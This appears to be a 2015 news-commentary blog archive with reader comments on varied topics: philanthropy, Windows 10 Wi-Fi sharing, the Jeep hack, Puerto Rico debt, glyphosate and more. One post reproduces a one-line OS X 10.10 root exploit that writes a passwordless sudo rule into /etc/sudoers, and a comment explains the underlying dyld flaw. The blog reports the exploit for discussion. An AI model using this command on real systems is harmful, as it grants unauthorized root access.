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The Daily Show

Posted on August 1st, 2015 at 8:12 by John Sinteur in category: News

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The Chase from Mike Olbinski

Posted on August 1st, 2015 at 0:19 by John Sinteur in category: News

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Warren Buffett’s Family Secretly Funded a Birth Control Revolution

Posted on July 31st, 2015 at 20:47 by John Sinteur in category: News


Named for Buffett’s first wife, the Susan Thompson Buffett Foundation is the third-largest family foundation in the country, behind only the Bill & Melinda Gates and Ford foundations. In 2013, the most recent year for which tax filings are available, it gave away almost half a billion dollars, largely to organizations dedicated to reproductive health. It barely maintains a website, studiously avoids press, and has about 20 people on staff. The foundation and Buffett didn’t respond to requests to comment for this article.

But in a January 2008 interview for a reproductive health oral history project that hasn’t previously been made public, Judith DeSarno, the Buffett Foundation’s former director for domestic programs, was candid about the foundation’s giving.

“Buffett alone will give more than all of the other foundations combined in reproductive health,” she said. “We already are this year, and that will continue.” DeSarno declined to comment for this article, other than to say, “I am incredibly proud of this work and the dramatic decrease in unintended pregnancies.”

In the past decade, the Buffett Foundation has become, by far, the most influential supporter of research on IUDs and expanding access to the contraceptive. “This is common-sense, positive work to help families meet their dreams and their needs in planning their pregnancies,” says Brandy Mitchell, a nurse practitioner who coordinates family planning at Denver Health, a state-run provider. “Why we have to rely on a donor to make this happen is beyond belief.”

Quietly, steadily, the Buffett family is funding the biggest shift in birth control in a generation. “For Warren, it’s economic. He thinks that unless women can control their fertility—and that it’s basically their right to control their fertility—that you are sort of wasting more than half of the brainpower in the United States,” DeSarno said about Buffett’s funding of reproductive health in the 2008 interview. “Well, not just the United States. Worldwide.”

I made four words bold. Don’t think for one millisecond that he’s doing this for altruistic reasons. His motives coinciding with your motives are not altruism. He’s doing it because he sees money being left on the table. The fact that this is a good thing? That is, to him, simply not a consideration in the equation. If this wasn’t a profitable move, he wouldn’t be doing it.

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  1. Uhm… So everything the Gates Foundation is doing in global health is solely for profit? All to sell more Windows licenses in Tanzania?

    Buffett has committed to giving virtually his entire fortune away to the Gates Foundation. So all these things he’s doing nefariously to increase his profits will… uh… end up at the Gates Foundation.

    Seriously, John?

    I think you’ve gotten even more cynical and bitter.

  2. Not my claim, I am quoting him: For Warren, it’s economic.

    Also, most of the foundation is driven by his wife, not by him. That must help some.

  3. “It’s economic” does not automatically translate into “it’s about my profits”. I suspect a guy like Buffett thinks that overall across the board economic growth is one of the best ways to help raise everyone’s livi standards. If you have the means to affect economic growth, I think it can legitimately be seen as a philanthropic strategy.

    But indeed it’s not clear that Buffett has much direct influence on the work of the foundation.

  4. My objection is that American governments (state and federal) should be funding such work, not private money. However, since even Planned Parenthood is under attack it’s better that someone does it, than no-one.

    And yes, I think altruism can have a lot of self-interest, at least for Buffet’s class. “Educate our masters” is how a Victorian politician put it when funding decent education after the vote became more widely allowed in Britain. They want the system that enabled them to rise, to continue.

    Both Buffet and Gates have a heroic posterity, regardless.

Ebola Vaccine Trial Shows 100% Success Rate

Posted on July 31st, 2015 at 20:10 by John Sinteur in category: News


An experimental vaccine tested on thousands of people in Guinea who were exposed to Ebola has shown promising results, and could help end the Ebola epidemic in West Africa, according to interim results from a study published Friday in the Lancet.The rVSV-vectored Ebola vaccine had a 100 percent success rate in a clinical trial involving a total 7,651 people, according to a report on the vaccine published in the medical journal The Lancet on Friday.


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Could We Ban Encryption?

Posted on July 31st, 2015 at 18:57 by John Sinteur in category: News

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A Tale of Momentum

Posted on July 31st, 2015 at 9:43 by John Sinteur in category: News


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UH OH: Windows 10 will share your Wi-Fi key with your friends’ friends

Posted on July 30th, 2015 at 10:17 by John Sinteur in category: News


Yes, wireless passwords can be written down and trivially passed along to others: we know network security shouldn’t end at the Wi-Fi login prompt. But there’s nothing like an operating system automating the practice of blabbing passphrases to strangers.

There’s so much wrong with this I don’t even know where to start. All a hacker needs to do to get on your corporate wifi is to be a friend on FaceBook? And Microsoft claims that they limit network access to the Internet only. So imagine the following simple scenario: you have a Friend over, and you want to allow him to print to your network printer (all these little ink-jets have wifi these days, right?) – in the past, you’d give him access to your wifi, and he would be able to print – there’s even options these days to give temporary access. That won’t work any more, since, as a FaceBook friend, he is already connected to your network. But hey, why won’t printing work? Damn!

And there’s more. Since I’m part of radicallyopensecurity.com I thought it would be interesting to find out more about this non-feature. So I type something in my address bar I haven’t typed in a long time: http://microsoft.com.

First hate: I get redirected to the dutch home page. Listen morans, if I wanted to visit the dutch page I would have typed “microsoft.NL”. At least the biggest screen real estate is taken up by what I’m looking for, a link to the Windows 10 update. So I click it. Nope, it’s actually a link to some advertising tracking network, and blocked by my ghostery plugin.

Really, Microsoft? You are incapable of counting clicks on your home page and need to hire an advertising network to do that for you? Are you THAT incompetent?

So forget it, I’m not going to find out how to upgrade that way. Luckily enough I have a colleague telling me about a Dutch tech site who has a direct link to the download page.

Which then offers me a choice between different editions, with names line “KN” and “N” and zero explanation what these are.

Sigh. I’d better get some coffee first.

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  1. lol…sorry, luv. If you’re first in line you get hosed with crap.

    You do, however, get all the pleasure of exercising your righteous indignation glands :-)

  2. Well, you know how much I love advertising

    And don’t get me started on this:

    Next is a rather nebulous entry: “Let apps use your advertising ID for experiences across apps.” What this sentence doesn’t quite explain is that Windows 10 generates a unique advertising ID for each user. If this option is enabled, it allows app developers and ad networks to profile you using that ID and serve you ads based on how you use your PC.

  3. And you’d better not have a data cap on your internet

  4. These days most decent routers can put out two networks under two different SSIDs. Make one for visitors only, and change the passphrase and/or SSID on it once in a while.

  5. Your network security is not important. What is important is making Microsoft’s cloud services more accessible.

  6. More accessible to whom? NSA? Or to the hacker who figures out which of my FaceBook friends has a weak password?

Catfished! Girls Scam ISIS on Social Media for Travel Money

Posted on July 30th, 2015 at 8:09 by John Sinteur in category: News


If you’re low on funds for that big vacation, you could always ask to borrow money, make a Kickstarter campaign… or swindle a couple of Islamic State recruiters. It may not be the safest way to make money, but that’s what three girls from Chechnya, a Russian republic in southeastern Europe, did.

The Chechen girls are under investigation for fraud after they allegedly scammed ISIS members into giving them money on the pretense that they would use it to travel from their homeland to Syria. The ladies got aw


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  1. Fraud? Will ISIS go to Chechnya to press charges.

  2. People may not be totally stupid, but they are, to coin a phrase, unencumbered by the thought process.

Jimmy Kimmel on the Killing of Cecil the Lion

Posted on July 29th, 2015 at 23:14 by Paul Jay in category: News

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  1. It’s to the dentist’s misfortune that this is pretty close to the combined plot of Disney’s “The Lion King” and “Bambi”.

John Key admits New Zealand’s drugs bill will rise – National

Posted on July 28th, 2015 at 15:28 by John Sinteur in category: News


Prime Minister John Key has admitted that New Zealand will have to pay more for medicines if it signs up to the Trans Pacific Partnership but he says this was unlikely to affect consumers.


“But for consumers that won’t make any difference because on subsidised drugs you pay $5 for your prescription. So the Government may incur slightly more costs there.”

Yeah, because the rest of those costs are paid in magic fairy dust, right?

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  1. He must think that people are idiots. Mostly he’s right.

Hedge funds tell Puerto Rico: lay off teachers and close schools to pay us back

Posted on July 28th, 2015 at 15:25 by John Sinteur in category: News


Billionaire hedge fund managers have called on Puerto Rico to lay off teachers and close schools so that the island can pay them back the billions it owes.

The hedge funds called for Puerto Rico to avoid financial default – and repay its debts – by collecting more taxes, selling $4bn worth of public buildings and drastically cutting public spending, particularly on education.

The group of 34 hedge funds hired former International Monetary Fund (IMF) economists to come up with a solution to Puerto Rico’s debt crisis after the island’s governor declared its $72bn debt “unpayable” – paving the way for bankruptcy.

The funds are “distressed debt” specialists, also known as vulture funds, and several have also sought to make money out of crises in Greece and Argentina, the collapse of Lehman Brothers and the near collapse of Co-op Bank in the UK.

What we, and everyone else, should start doing is listening to the advice of hedge fund mangers and then doing the exact opposite.

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  1. I dislike the vultures as much as everyone, but shouldn’t governments stop borrowing money that future generations will have to repay. Half the crap on TV is about debt, why don’t we eliminate it? Pay as you go. Raise taxes as necessary.

  2. @will, Peurto Rico: it is not as simple as raising taxes. Good article http://seekingalpha.com/article/3340785-5-reasons-puerto-rico-is-in-debt-trouble
    Regarding debt elimination in general: not a good idea because those without prior accumulated capital, one could never get anything off the ground unless they solely used equity financing. While crowd funding works for sexy start-ups, it is really not there for some that wants to open an unglamorous 7-elevan for example. That would lead a very bad two class society (worse than now).

  3. @Mykolas, I specifically said “government”. I don’t want the government opening 7-11’s either.

  4. With high levels of public and private debt in many countries, there are going to be more of these coups. Somewhat like Latin America 30 years ago.

  5. @will Yep indeed you did – sorry… And government 7-11s?? — wow, now that is indeed a very very scarey thought. :-)

  6. @Mykolas, Tax loopholes in the center aisle, protected monopolies by the far wall, just like in Congress.

To Weed Out Protesters at Last Night’s Event, The Satanic Temple Had Attendees Transfer Their Souls to Satan

Posted on July 28th, 2015 at 9:28 by John Sinteur in category: News


What’s really interesting is how TST dealt with all the threats they were getting from God-fearing Christians.According to TST spokesperson Lucien Greaves, attendees for the event had to go through the following process:

1) Show up at the location stated on the e-ticket.
2) Go through a security checkpoint there.
3) Sign a contract transferring their souls to Satan.
4) Get the real location for the event, which was miles away.

It worked. The event went off without a hitch.


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  1. At last a leader who is not going to fall short of our expectations.

Sandra Bland Never Should Have Been Arrested

Posted on July 23rd, 2015 at 17:35 by John Sinteur in category: News


In the year since Eric Garner was put in a chokehold, and with every subsequent black death, we’ve become increasingly aware that melanin can get you killed, just because. But perhaps Bland, through her legal defiance and subsequent abuse, has reminded us that it isn’t just skin color that makes us dangerous to the law enforcement officers who seek to reinforce white supremacy or to exercise the privilege society grants them to brutalize your black ass. No, an African American woman who knows her rights as a citizen may be what most scares cops like those.


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  1. I have 2 black grandkids. I worry all the time that they will be arrested or killed, simply for walking or driving while black! Trust me. I spend sleepless nights worrying about that.

  2. People like Bland are patriots like our founding fathers.

  3. Look, it is a police state. Put the keys, license on the dash, both hands on top of steering wheel, and windows down. All answers yes sir/ma’am no sir/ma’am. De-escalate the stop, fight it later higher up the chain with a good lawyer. In other words – if I were to encounter and angry dog on the street, I would do everything to remove myself from being near the fangs of that beast. I would deal with the dog owner later. Same with the dogs of the state.

  4. A sizeable police force is the first item on every Dictator’s shopping list.

Chain, Chest, Curse: Combating Book Theft in Medieval Times

Posted on July 23rd, 2015 at 15:22 by John Sinteur in category: News

[not a Quote:]

“FBI Anti-Piracy Warning: The unauthorized reproduction or distribution of a copyrighted work is illegal. Criminal copyright infringement, including infringement without monetary gain, is investigated by the FBI and is punishable by up to five years in federal prison and a fine of $250,000.”

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  1. You are quite a wag, John!

Hackers Remotely Kill a Jeep on the Highway—With Me in It

Posted on July 23rd, 2015 at 15:20 by John Sinteur in category: News


I was driving 70 mph on the edge of downtown St. Louis when the exploit began to take hold.

Somebody needs to bring Fiat Chrysler Automobiles up to date with the concept of responsible disclosure, because they still think they can get away with this:

“Under no circumstances does FCA condone or believe it’s appropriate to disclose ‘how-to information’ that would potentially encourage, or help enable hackers to gain unauthorized and unlawful access to vehicle systems,” the company’s statement reads. “We appreciate the contributions of cybersecurity advocates to augment the industry’s understanding of potential vulnerabilities. However, we caution advocates that in the pursuit of improved public safety they not, in fact, compromise public safety.”

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  1. And why would this all be even remotely possible anyway, hmm?

  2. Self-driving cars will certainly need an internet connection – hell, my nav system needs one just to get simple traffic stats…

  3. I mean, why are the controls exposed? Perhaps I’m paranoid, but it sounds like a backdoor.

  4. Because the developers don’t know the first thing about security and are ordered to build it as cheap as possible.

  5. I used to say, “It’s easier to assume incompetence than malice.”

  6. exactly. Never attribute to malice what can be easily explained by stupidity.

  7. …but I’ve been proven wrong a number of times. Car manufacturers have been able to stop stolen cars for a while, so why is this all coming apart now?

  8. car-pay diem…

  9. Back to KISS principal. Isolate systems. No internet connected cars; NAV systems should be portable installations like on a mobile device; And sort of off topic…. just what to internet of things: “Mommy I want ice cream …sorry luv, someone disabled the freezer and we can’t afford the ransom” And so it goes.

Thank you for being a friend

Posted on July 23rd, 2015 at 14:24 by John Sinteur in category: News


It was 2005, 3 years after we first began offering shelter to homeless LGBT youths. We were a small organization, tiny in comparison to so many of the huge, well-established charities in NYC. But we were addressing a terrible problem, that of LGBT teens being thrown to the streets in enormous numbers by unaccepting parents. At the time we only had 12 shelter beds, and over 100 youths waiting out in the streets to get into those beds, which they saw as precious, for with us they wouldn’t face the homophobic harassment they often endured elsewhere.

A wonderful man named Ray Klausen became a volunteer. He’s an iconic set designer for stage and screen. He has worked with many superstars, including Madonna, Barbra Streisand, Elvis, even Judy Garland! When he saw how badly we were struggling to provide for the many youths flocking to us for help, he wanted to help us raise funds.

He decided to reach out to his friend Bea Arthur. He called her, and explained the mission of the Ali Forney Center and how badly we needed help. He asked her if she would revive her one-woman Broadway show as a benefit for us. While she was certainly aware that she was an icon to the LGBT community, but hadn’t realized that so many LGBT youths were being driven to the streets. It outraged her sense of justice and decency. She immediately agreed to help.

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  1. A wonderful account of the actions of people with really big hearts! Thanks for sharing this.

  2. Attention parents: Your kids may be different from you and you should be grateful :-)

Comcast Really Wants Me To Stop Calling Their Top Lobbyist A ‘Top Lobbyist’

Posted on July 23rd, 2015 at 12:20 by John Sinteur in category: News


You see, the legal DC definition of a lobbyist was beefed up slightly back in 2007, when the Lobbyist Disclosure Act was notably amended by the Leadership and Open Government Act of 2007. Those changes required that if an employee spends more than 20% of their time lobbying, they have to register with the government as a lobbyist, detail their travel with lawmakers, and more fully outline their contributions to politicians and their myriad foundations. Comcast addressed these changes by simply calling Cohen something else

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Even If You Think Kim Dotcom Is Guilty As Sin, The US Government Stealing His Assets Should Concern You

Posted on July 23rd, 2015 at 11:53 by John Sinteur in category: News


Again, this lawsuit is technically entirely separate from the ongoing case against Dotcom himself. Instead, it’s USA v. All Assets Listed In Attachment A, And All Interest, Benefits, And Assets Traceable Thereto — which is a catchy name if you’re trying to hide what you’re really doing, which is stealing all the assets of someone in a foreign country. The Attachment A in the title of that lawsuit is basically a listing of all of Kim Dotcom’s assets. In asset forfeiture cases, since the government is technically filing the lawsuit against the stuff, arguing that the stuff itself is guilty, it leaves only limited ability of the original owner of that stuff to try to block the government from taking it all. And, that was made much more difficult by Dotcom (who has never even been to the US) fighting extradition in the (entirely separate) lawsuit against him. The DOJ, somewhat perversely, used the extradition fight to argue that Dotcom is a “fugitive,” to basically say that he can’t try to block the forfeiture, and the judge agreed.

The end result? The court gave the DOJ a huge green light to legally steal millions of dollars worth of assets from Kim Dotcom despite the lack of any court ruling or admission of guilt. That seems like a rather big due process concern. While a New Zealand court has put a temporary stop to the US government taking the New Zealand portion of the assets, back in the US, there is an appeal going on over the initial ruling.

As part of that, three organizations that you wouldn’t normally think of as associating themselves with the likes of Dotcom, have stepped up to argue that the whole civil asset forfeiture effort against Dotcom’s stuff is a complete farce. The Cato Institute, the Institute for Justice and the National Association of Criminal Defense Lawyers have filed an amicus brief in the appeal arguing forcefully about how ridiculous this whole case is (not the case against Dotcom, but the case against all his stuff).

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Get root on an OS X 10.10 Mac: The exploit is so trivial it fits in a tweet

Posted on July 23rd, 2015 at 9:39 by John Sinteur in category: News


echo ‘echo “$(whoami) ALL=(ALL) NOPASSWD:ALL” >&3′ | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s # via reddit: numinit (shorter)

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  1. So, did Apple actually make /etc/sudoers writable by other than root? Or does the default user already have root access? Either case is totally idiotic! The second case is why Windows is so insecure…

  2. [Quote:]

    With the release of OS X 10.10 Apple added some new features to the dynamic linker dyld. One of these features is the new environment variable DYLD_PRINT_TO_FILE that enables error logging to an arbitrary file.

    This is a path to a (writable) file. Normally, the dynamic linker writes all logging output (triggered by DYLD_PRINT_* settings) to file descriptor 2 (which is usually stderr). But this setting causes the dynamic linker to write logging output to the specified file.

    When this variable was added the usual safeguards that are required when adding support for new environment variables to the dynamic linker have not been used. Therefore it is possible to use this new feature even with SUID root binaries. This is dangerous, because it allows to open or create arbitrary files owned by the root user anywhere in the file system. Furthermore the opened log file is never closed and therefore its file descriptor is leaked into processes spawned by SUID binaries. This means child processes of SUID root processes can write to arbitrary files owned by the root user anywhere in the filesystem.

  3. So, yeah, massively idiotic.

Iran nuclear deal: Satirical website The Onion accidentally breaks story about the US offering missiles to Israel

Posted on July 22nd, 2015 at 10:59 by John Sinteur in category: News


A spoof news story on The Onion, headlined “US Soothes Upset Netanyahu With Shipment Of Ballistic Missiles”, appeared 24 hours before reports emerged that this had actually happened in real life.

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  1. And Kerry was upset with Iran saying bad things about the US? Sounds like Iran has been justified. They really do need nukes.

  2. Life imitating art (or satire as an art).

I don’t understand the stock market

Posted on July 22nd, 2015 at 10:54 by John Sinteur in category: Apple, Microsoft

Microsoft earnings reports:

$7.6 billion write-off on Nokia, no big deal.

$1 billion Xbox writeoff, no big deal.

$900 million write-off for Surface RT, no big deal.

$6.2 billion write-off for Aquantive, no big deal.

Apple earnings reports:

Record profits, stock price takes a nose dive

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  1. It’s a matter of expectations more than anything else. MS did pretty much what people thought, so it’s ok. Apple didn’t earn quite as much as expected (record income and profits be damned), so it gets hammered… Go figure!

  2. Re. Apple. Actually, this is called “an adjustment” in the stock price, as in theory the price is bid up before the announcement in anticipation of results, since investors were expecting better results than they got. So, the result is that the price goes down to, in theory, where the price should be. Hence we have “contrarian” investors. They see people bidding up a stock before the quarterly announcements, figure the company won’t do as well as expected, so they sell short in anticipation of this price drop. The price drops, they cover their shorts, and make a fortune! Often these short positions are in the form of put options. IE, they can sell the stock at the shorted (higher) price and only pay the newer (lower) price. Risky, but potentially very lucrative. If the price goes the right way, they are only out the option costs (10% of the actual stock price when bought) plus brokerage fees. So, you buy puts on 100,000 shares (1000 contracts) at $5 / share – you pay $5000 + costs. The stock drops to $4 / share creating a $1 / share profit. You basically buy the stock at $4 / share and sell it back at $5 – an instant $100,000 profit on costs of about $6000. Works great if you can do it.

    However, if the stock were to go up, say to $6 / share, you may be on the hook for that $100,000! There are mathematical formulae that compute your risks about this stuff, so you can “hedge” your bets, potentially earning less than that $100K, but not at risk of losing that same $100K. I am somewhat aware of this stuff as I used to write risk-analysis software for the options industry market makers and professional traders at the Chicago Board Options Exchange (biggest options trading house in the world). We had to recompute their portfolio exposure when any trades or price changes that may affect their positions had occurred, and within 60ms we had to rebalance their positions and execute risk-offsetting trades for them! This was about 10 years ago. Now, 60ms is about 10x too slow! I recently interviewed for a position at a low-latency trading company in Chicago, and they had engineers to design and build their own FPGA ethernet / TCP-IP chips that handled the trading network connections and filtered the data stream from the various exchanges for the data they were interested in. Normal high-performance network cards and high-end servers could not handle the load at the latencies required. This is indeed the “rocket science” of stock trading!

  3. The high-speed stuff is unfair because only a select few can do it. “Flash Boys” by Micheal Lewis is a great read on the topic.

    Wall St. has never understood Apple – probably because Apple is unlike any other company.

  4. @johno – don’t disagree with the high-speed trading comment. Until there are appropriate regulations in place, and enforced, this will continue to be a decided disadvantage to all other traders who cannot afford such tools. I’m not in that field any longer – the pay is great, but at what cost?

India blocks Colgate patents for spices

Posted on July 20th, 2015 at 10:35 by John Sinteur in category: News


India has successfully blocked two patent claims of US consumer goods major Colgate-Palmolive, which wanted intellectual property right (IPR) cover on two oral compositions made from Indian spices and other herbs.

One patent battle took almost seven years, after the New York-based company filed a claim at the European Patent Register on September 29, 2008, for a composition containing botanical extracts from three herbs, including cinnamon, a common kitchen spice across India, known here as “dalchini”.

India opposed the claim using the traditional knowledge digital library (TKDL) database, created in the last decade to fight biopiracy.

The database, maintained by the Council of Scientific and Industrial Research (CSIR), submitted its plea in May 2011, and the European patent office ruled in India’s favour last month.

Two years after filing the first patent claim, Colgate-Palmolive moved another application in 2010 before the European patent office, seeking protection for another oral composition containing nutmeg, ginger, “Bakul” tree, camphor, cinnamon, turmeric, Indian banyan, black pepper, long pepper, Neem and clove. The solution is for treating oral cavity diseases.

This, too, was challenged in June 2014 by TKDL, which showed to the patent examiner there was no novelty in the Colgate claims as ancient Indian texts mention use of extracts from these plants for the same disorders. The claim was rejected this March.

“We identified about 1,500 cases of biopiracy, out of which about 200 have been checked by patent examiners. We won about 180 out of these 200 cases. There are another 1,300-odd cases to be fought,” V K Gupta, former director of the TKDL group in CSIR, told Deccan Herald.

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  1. I don’t understand the reflex to have patents on such product formulations. C-P has enormous marketing dominance, supply chains, manufacturing capacity etc. They can deliver a reliable, safe product in millions of units.

    They are the 1000 lb gorilla. They could just compete.

Seeking the Source of Ebola

Posted on July 19th, 2015 at 10:50 by John Sinteur in category: News


The public health authorities based in Guinea’s capital, Conakry, and the viral disease trackers from abroad weren’t in Méliandou when Emile Ouamouno died. Had they been, and had they understood that he was the first case in an outbreak of Ebola virus disease, they might have directed some timely attention to an important unknown: How did this boy get sick? What did he do, what did he touch, what did he eat? If Ebola virus was in his body, where did it come from?

Among the most puzzling aspects of Ebola virus, since its first recognized emergence almost four decades ago, is that it disappears for years at a time. Since a 1976 outbreak in what then was Zaire (now the Democratic Republic of the Congo) and a simultaneous episode with a closely related virus in what was then southern Sudan (now South Sudan), the sequence of Ebola events, large and small, has been sporadic. During one stretch of 17 years (1977-1994) not a single confirmed human death from infection with Ebola virus occurred. This is not a subtle bug that simmers delicately among people, causing nothing more than mild headaches and sniffles. If it had been circulating in human populations for those 17 years, we would have known.

A virus can’t survive for long, or replicate at all, except within a living creature. That means it needs a host—at least one kind of animal, or plant, or fungus, or microbe, whose body serves as its primary environment and whose cell machinery it can co-opt for reproducing. Some harmful viruses abide in nonhuman animals and only occasionally spill into people. They cause diseases that scientists label zoonoses. Ebola is a zoonosis, an especially nasty and perplexing one—killing many of its human victims in a matter of days, pushing others to the brink of death, and then vanishing. Where does it hide, quiet and inconspicuous, between outbreaks?

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  1. In government labs?

Berkeley Breathed Publishes First New ‘Bloom County’ Strip Since 1989

Posted on July 18th, 2015 at 13:43 by John Sinteur in category: News


Generally, when a beloved comic strip disappears from the funnies page, it is gone for good, and its characters live on only in reprint collections and greeting cards, as parade balloons and insurance spokes-characters.

So it was a surprise for comics fans to wake up on Monday and discover that Berkeley Breathed, the Pulitzer Prize-winning creator and artist of “Bloom County,” had revived that vintage 1980s strip on his Facebook page after a hiatus of more than 25 years (depending on how one measures) and with almost no advance notice.

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  1. Yay!!

Announcing Apple IIgs System 6.0.2

Posted on July 18th, 2015 at 13:41 by John Sinteur in category: News


After 22 years, 2 months, 2 days and 2 hours since System 6.0.1 was released, this is a summary of the visible changes. There have been many bugs fixed and many features added that are not immediately visible–they will enable developers to create better future products. Be sure to also read the Shortcuts file on the SystemTools3 disk for more information.

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Europe a step closer to keeping records on all passengers flying in and out of the Continent

Posted on July 16th, 2015 at 14:15 by John Sinteur in category: News


The European Parliament’s civil liberties committee LIBE voted on Wednesday in favor of collecting and storing information about all air passengers traveling into or out of the EU.

The so-called Passenger Name Record (PNR) scheme requires the storage of all data collected by airlines about passengers – including sensitive and personal information such as email addresses, credit card details, phone numbers, and meal choices (halal, kosher, etc) – for use by security agencies. The committee approved the scheme by 32 votes to 27, and also agreed to start negotiations with national ministers with a view to agreeing on a new law by the end of the year.

However, civil rights groups have been outraged at some of the proposals, particularly after the European Court of Justice (ECJ) ruled [PDF] the old Data Retention Directive illegal and disproportionate in April last year.

“To date, and despite countless requests, the European Commission has not been able to show that an EU PNR scheme would meet the standards of proportionality and necessity established by the Charter of Fundamental Rights. In the aftermath of [the ECJ ruling] it is hard to imagine how the proposed arbitrary period of maximum five year retention for every citizen’s travel data could be considered necessary and proportionate,” said Joe McNamee, director of privacy warriors EDRi.

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  1. I pick a religious choice (Hindu vegetarian) on airlines. Usually a tastier and fresher meal. You get your food first and are tucking into a tasty curry when everyone else gets their bland swill.

    Also avoids that “Fish or chicken?” dilemma of infamous Airplane jokes.

  2. Yes, I remember, I had the lasagna

Major pharma and finance corporations ‘dramatically boosted lobbying efforts to support TTIP’ : EU Reporter

Posted on July 16th, 2015 at 9:34 by John Sinteur in category: News


The financial and machinery sectors also significantly stepped up their game during the same period according to the research.

The study was also carried out by SumOfUs, a global consumer advocacy group.

Corporate Europe Observatory and SumOfUs said they had seen  a “dramatic corporate bias” in the Commission’s approach to the trade deal with the big business leaning not changing significantly since Cecilia Malmström took over as EU Trade Commissioner in November 2014.

According to the research, in her first six months in office, the Commissioner, members of her Cabinet and the director general of DG Trade had 122 behind-closed-doors lobby meetings in which TTIP was discussed. 100 of these meetings were reportedly with business lobbyists – 22 with public interest groups.

The research also aims to shed light on how “agenda-setting” for TTIP has been “driven”by Western European and US businesses while companies from Greece, Portugal, Cyprus, Malta, and Eastern Europe are not lobbying at all.

Also, one in five corporate lobby groups meeting the Commission’s trade department on TTIP are allegedly absent from the EU’s Transparency Register, among them reportedly large companies such as Maersk, Levi’s and AON as well as powerful federations such as the world’s largest biotech lobby group BIO and the Big Pharma lobby group PhRMA.

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  1. Well! Fancy that! I imagine they’re doing it in the public interest?

Weedkiller suspected of causing cancer deemed ‘safe’

Posted on July 16th, 2015 at 9:21 by John Sinteur in category: News


A best-selling herbicide that the World Health Organisation suspects causes cancer could get a new lease of life in Europe after being deemed safe by a key assessment based largely on classified industry reports.

A decision on whether to extend the license for glyphosate’s use in Europe is pending, but earlier this year, it was deemed “probably carcinogenic to humans” in a preliminary report from the WHO’s International Agency for Research on Cancer (IARC). The full report is due for release imminently.

Any revocation of the European license would hit the profits of Monsanto which manufactures the weedkiller which is often used in conjunction with GM crops.

Monsanto said it was “outraged” at the assessment and accused the WHO of “agenda-driven bias”. Sources at the European Food Safety Authority say that they may have to delay publication of their opinion on extending the license to take the IARC report into account.

Now a key assessment by the German Federal Institute for Risk Assessments (BfR), seen by the Guardian, has drawn contrary conclusions from the IARC’s data. The BfR paper also relied heavily on unpublished papers provided by the Glyphosate Task Force, an industry body dedicated to the herbicide’s relicensing. Its website is run by Monsanto UK.

Yes, Monsanto, the WHO has an agenda. It’s right there in it’s name: World’s Health.

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  1. I don’t know about the WHO, but many people fighting against GMOs definitely seem to have an agenda that they put ahead of honesty and scientific evidence.

    Here’s an article documenting how dishonest the fight against GMOs has often been. Seems to me that Greenpeace is no more trustworthy than Monsanto.


  2. @Desiato: I read that article as well, and it has a lot of good points in it. But the one big missing thing is *why* Greenpeace would behave the way he describes it. What’s their motivation? He shows the organization as being really geared up heavily to fight GMOs and support (potentially dangerous) alternatives, and paints the organization as willfully ignoring and openly misinterpreting evidence.

    So am I to believe that they’re just extremely doctrinaire? Could a diverse organization maintain such a unified front in the face of evidence purely from religious zeal? Or is there something that was left out?

    I’m not trying to ask leading questions. I honestly don’t know enough about it to be able to ascertain.

  3. Pesticides are a risk for people using them, if they don’t protect themselves. They are poisonous.

    Same with gasoline and many other substances deemed necessary to our “civilization”.

  4. Monsanto gets whatever Monsanto wants. The problem is that Europe doesn’t want or need Monsanto. That’s not acceptable to the good old USA.

    I don’t care if Monsanto is the best thing since sliced bread. They have no right to force feed their shit down everyone’s throat. And that is exactly what they want. Not exactly a good corporate citizen.

  5. I’m just really happy knowing that monsanto doesn’t “have an agenda that they put ahead of honesty and scientific evidence”.

  6. In the arms race against weeds, glyphosate (Roundup) worked for awhile. Now a strain of amaranth -farmers call it pigweed – has mutated resistance and its wrist-thick stalks can stop a combine. Big Ag’s countermeasure is adding a derivative of agent orange to the herbicide. How safe is it or its breakdown by-products for humans or anything else beyond the target weeds? And as Sue says, especially for farmworkers? Long term studies before introduction? No. It’s being used now.

    Aerial spraying of these poisons is less efficient than using ground equipment, but it’s still done. Watch sometime as the pilot pulls up, shuts the nozzles off and the cloud of fine mist leisurely drifts across the highway….

  7. @john: Sort of like Mutually assured destruction. Sooner or later, no one wins. They can’t beat Mother Nature, they can only beat (kill) us.

The 5 world religions

Posted on July 14th, 2015 at 16:16 by John Sinteur in category: News

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  1. Pdf has really saved my life! Testify, you sinners!

  2. Definitely prefer the last one. Use LibreOffice, and you can convert your documents directly (as exports) to PDF files. All the rest? Meh! Organized religion should be outlawed. Worship who you want, but keep it at home! When you start trying to infect others, it should be considered a crime against humanity!

  3. PDF in the Catholic Church means: Pedophile Development Fund

God on Twitter

Posted on July 14th, 2015 at 16:08 by John Sinteur in category: News


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  1. I’d like to send $10 to encourage this wonderful performance artist in his work of a lifetime. Sadly, I don’t think foreign contribution is allowed.

  2. And I think God is going “Walker? Walker who?”. I’d like to “humble” Scott Walker head-first into a pig sty, since that is where he belongs!

  3. ..in the name of father, the son and the holy pass the plate. And @spaceman: in a Pig Sty? Oh those poor pigs!

  4. @Spaceman: Cruelty to pigs.

    One evening in October
    When I was about one-third sober
    And was taking home a load with manly pride
    My poor feet began to stutter
    So I lay down in the gutter
    And a pig came up and lay down by my side

    Then we sang “It’s All Fair Weather”
    And “Good Fellows Get Together”
    Till a lady passing by was heard to say
    She says, “You can tell a man who boozes
    By the company he chooses”
    And the pig got up and slowly walked away

  5. God is going to be really pissed off when he realises that this is not the singer Scott Walker. He really loves “The Sun Ain’t Gonna Shine Anymore”

  6. Weirdly, God has also asked Perry and Santorum to run too. And even weirder, half the other Republican candidates are preachers, and God did not ask them to run, so what’s up with that?

  7. @Gareth: “Loneliness…is the cloak you wear…oo-ee-oo-oo…”

    Sounds like all of those candidates.

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